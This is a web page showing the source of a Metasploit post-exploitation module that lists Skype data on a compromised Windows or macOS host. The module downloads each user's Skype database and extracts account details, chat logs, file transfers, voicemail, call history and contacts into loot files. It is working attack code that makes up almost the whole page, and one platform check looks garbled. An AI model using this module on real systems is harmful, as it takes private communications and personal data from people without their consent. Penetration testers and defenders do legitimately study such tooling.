Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/skype_enum.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'csv'67class MetasploitModule < Msf::Post8include Msf::Post::File9include Msf::Post::Windows::UserProfiles10include Msf::Post::OSX::System1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Multi Gather Skype User Data Enumeration',17'Description' => %q{18This module will enumerate Skype account settings, contact list, call history, chat logs,19file transfer history, and voicemail logs, saving all the data to CSV files for analysis.20},21'License' => MSF_LICENSE,22'Author' => [ 'Carlos Perez <carlos_perez[at]darkoperator.com>'],23'Platform' => %w[osx win],24'SessionTypes' => [ 'meterpreter', 'shell' ],25'Compat' => {26'Meterpreter' => {27'Commands' => %w[28core_channel_close29core_channel_eof30core_channel_open31core_channel_read32stdapi_fs_search33stdapi_fs_separator34stdapi_fs_stat35]36}37}38)39)40register_advanced_options(41[42# Set as an advanced option since it can only be useful in shell sessions.43OptInt.new('TIMEOUT', [true, 'Timeout in seconds when downloading main.db on a shell session.', 90]),44]45)46end4748# Run Method for when run command is issued49def run50# syinfo is only on meterpreter sessions51print_status("Running Skype enumeration against #{sysinfo['Computer']}") if !sysinfo.nil?5253# Ensure that SQLite3 gem is installed54begin55require 'sqlite3'56rescue LoadError57print_error("Failed to load sqlite3, try 'gem install sqlite3'")58return59end6061if session.platform =~ /java/62# Make sure that Java Meterpreter on anything but OSX will exit63if session.platform !~ /osx/64print_error('This session type and platform are not supported.')65return66end67# Iterate thru each user profile on as OSX System for users not in the default install68users = get_users.collect { |p| p['uid'].to_i > 500 ? p : nil }.compact69users.each do |p|70next unless check_skype("#{p['dir']}/Library/Application Support/", p['name'])7172db_in_loot = download_db(p)73# Exit if file was not successfully downloaded74return if db_in_loot.nil?7576process_db(db_in_loot, p['name'])77end78elsif (((session.platform = - 'windows')) && (session.type == 'meterpreter'))79# Iterate thru each user profile in a Windows System using Meterpreter Post API80grab_user_profiles.each do |p|81if check_skype(p['AppData'], p['UserName'])82db_in_loot = download_db(p)83process_db(db_in_loot, p['UserName'])84end85end86else87print_error('This session type and platform are not supported.')88end89end9091# Check if Skype is installed. Returns true or false.92def check_skype(path, user)93dirs = []94if session.type == 'meterpreter'95session.fs.dir.foreach(path) do |d|96dirs << d97end98else99dirs = cmd_exec("ls -m \"#{path}\"").split(', ')100end101dirs.each do |dir|102if dir =~ /Skype/103print_good("Skype account found for #{user}")104return true105end106end107print_error("Skype is not installed for #{user}")108return false109end110111# Download file using Meterpreter functionality and returns path in loot for the file112def download_db(profile)113if session.type == 'meterpreter'114if session.platform == 'osx'115file = session.fs.file.search("#{profile['dir']}/Library/Application Support/Skype/", 'main.db', true)116else117file = session.fs.file.search("#{profile['AppData']}\\Skype", 'main.db', true)118end119else120file = cmd_exec('mdfind', "-onlyin #{profile['dir']} -name main.db").split("\n").collect { |p| p =~ %r{Skype/\w*/main.db$} ? p : nil }.compact121end122123file_loc = store_loot('skype.config',124'binary/db',125session,126'main.db',127"Skype Configuration database for #{profile['UserName']}")128129file.each do |db|130if session.type == 'meterpreter'131maindb = "#{db['path']}#{session.fs.file.separator}#{db['name']}"132print_status("Downloading #{maindb}")133session.fs.file.download_file(file_loc, maindb)134else135print_status("Downloading #{db}")136# Giving it 1:30 minutes to download since the file could be several MB137maindb = cmd_exec('cat', "\"#{db}\"", datastore['TIMEOUT'])138if maindb.nil?139print_error('Could not download the file. Set the TIMEOUT option to a higher number.')140return141end142# Saving the content as binary so it can be used143output = ::File.open(file_loc, 'wb')144maindb.each_line do |d|145output.puts(d)146end147output.close148end149print_good("Configuration database saved to #{file_loc}")150end151return file_loc152end153154# Saves rows returned from a query to a given CSV file155def save_csv(data, file)156CSV.open(file, 'w') do |csvwriter|157data.each do |record|158csvwriter << record159end160end161end162163# Extracts the data from the DB in to a CSV file164def process_db(db_path, user)165db = SQLite3::Database.new(db_path)166167# Extract information for accounts configured in Skype168print_status('Enumerating accounts')169user_rows = db.execute2('SELECT "skypeout_balance_currency", "skypeout_balance", "skypeout_precision",170"skypein_numbers", "subscriptions", "offline_callforward", "service_provider_info",171datetime("timestamp","unixepoch")"registration_timestamp",172"nr_of_other_instances", "partner_channel_status", "flamingo_xmpp_status",173"owner_under_legal_age", "type", "skypename", "pstnnumber", "fullname",174"birthday", "gender", "languages", "country", "province", "city", "phone_home",175"phone_office", "phone_mobile", "emails", "homepage", "about",176datetime("profile_timestamp","unixepoch"), "received_authrequest",177"displayname", "refreshing", "given_authlevel", "aliases", "authreq_timestamp",178"mood_text", "timezone", "nrof_authed_buddies", "ipcountry",179"given_displayname", "availability", datetime("lastonline_timestamp","unixepoch"),180"assigned_speeddial", datetime("lastused_timestamp","unixepoch"),181"assigned_comment", "alertstring", datetime("avatar_timestamp","unixepoch"),182datetime("mood_timestamp","unixepoch"), "rich_mood_text", "synced_email",183"verified_email", "verified_company" FROM Accounts;')184185# Check if an account exists and if it does enumerate if not exit.186if user_rows.length > 1187user_info = store_loot('skype.accounts',188'text/plain',189session,190'',191'skype_accounts.csv',192"Skype User #{user} Account information from configuration database.")193print_good("Saving account information to #{user_info}")194save_csv(user_rows, user_info)195else196print_error("No skype accounts are configured for #{user}")197return198end199200# Extract chat log from the database201print_status('Extracting chat message log')202cl_rows = db.execute2('SELECT "chatname", "convo_id", "author", "dialog_partner",203datetime("timestamp","unixepoch"), "body_xml",204"remote_id" FROM "Messages" WHERE type == 61;')205chat_log = store_loot('skype.chat',206'text/plain',207session,208'',209'skype_chatlog.csv',210"Skype User #{user} chat log from configuration database.")211212if cl_rows.length > 1213print_good("Saving chat log to #{chat_log}")214save_csv(cl_rows, chat_log)215else216print_error('No chat logs where found!')217end218219# Extract file transfer history220print_status('Extracting file transfer history')221ft_rows = db.execute2('SELECT "partner_handle", "partner_dispname",222datetime("starttime","unixepoch"), datetime("finishtime","unixepoch"),223"filepath", "filename", "filesize", "bytestransferred",224"convo_id", datetime("accepttime","unixepoch") FROM "Transfers";')225226file_transfer = store_loot('skype.filetransfer',227'text/csv',228session,229'',230'skype_filetransfer.csv',231"Skype User #{user} file transfer history.")232# Check that we have actual file transfers to report233if ft_rows.length > 1234print_good("Saving file transfer history to #{file_transfer}")235save_csv(ft_rows, file_transfer)236else237print_error('No file transfer history was found!')238end239240# Extract voicemail history241print_status('Extracting voicemail history')242vm_rows = db.execute2('SELECT "type", "partner_handle", "partner_dispname", "status",243"subject", datetime("timestamp","unixepoch"), "duration", "allowed_duration",244"playback_progress", "convo_id", "chatmsg_guid", "notification_id", "flags",245"size", "path", "xmsg" FROM "Voicemails";')246247voicemail = store_loot('skype.voicemail',248'text/csv',249session,250'',251'skype_voicemail.csv',252"Skype User #{user} voicemail history.")253254if vm_rows.length > 1255print_good("Saving voicemail history to #{voicemail}")256save_csv(vm_rows, voicemail)257else258print_error('No voicemail history was found!')259end260261# Extracting call log262print_status('Extracting call log')263call_rows = db.execute2('SELECT datetime("begin_timestamp","unixepoch"),264"topic","host_identity", "mike_status", "duration", "soundlevel", "name",265"is_incoming", "is_conference", "is_on_hold",266datetime("start_timestamp","unixepoch"), "quality_problems", "current_video_audience",267"premium_video_sponsor_list", "conv_dbid" FROM "Calls";')268269call_log = store_loot('skype.callhistory',270'text/csv',271session,272'',273'skype_callhistory.csv',274"Skype User #{user} call history.")275if call_rows.length > 1276print_good("Saving call log to #{call_log}")277save_csv(call_rows, call_log)278else279print_error('No call log was found!')280end281282# Extracting contact list283print_status('Extracting contact list')284ct_rows = db.execute2('SELECT "skypename", "pstnnumber", "aliases", "fullname",285"birthday", "languages", "country", "province", "city", "phone_home",286"phone_office", "phone_mobile", "emails", "homepage", "about", "mood_text",287"ipcountry", datetime("lastonline_timestamp","unixepoch"), "displayname",288"given_displayname", "assigned_speeddial", "assigned_comment","assigned_phone1",289"assigned_phone1_label", "assigned_phone2", "assigned_phone2_label",290"assigned_phone3", "assigned_phone3_label", "popularity_ord", "isblocked",291"main_phone", "phone_home_normalized", "phone_office_normalized",292"phone_mobile_normalized", "verified_email", "verified_company"293FROM "Contacts";')294295contact_log = store_loot('skype.contactlist',296'text/csv',297session,298'',299'skype_contactlist.csv',300"Skype User #{user} contact list.")301if ct_rows.length > 1302print_good("Saving contact list to #{contact_log}")303save_csv(ct_rows, contact_log)304end305end306end307308309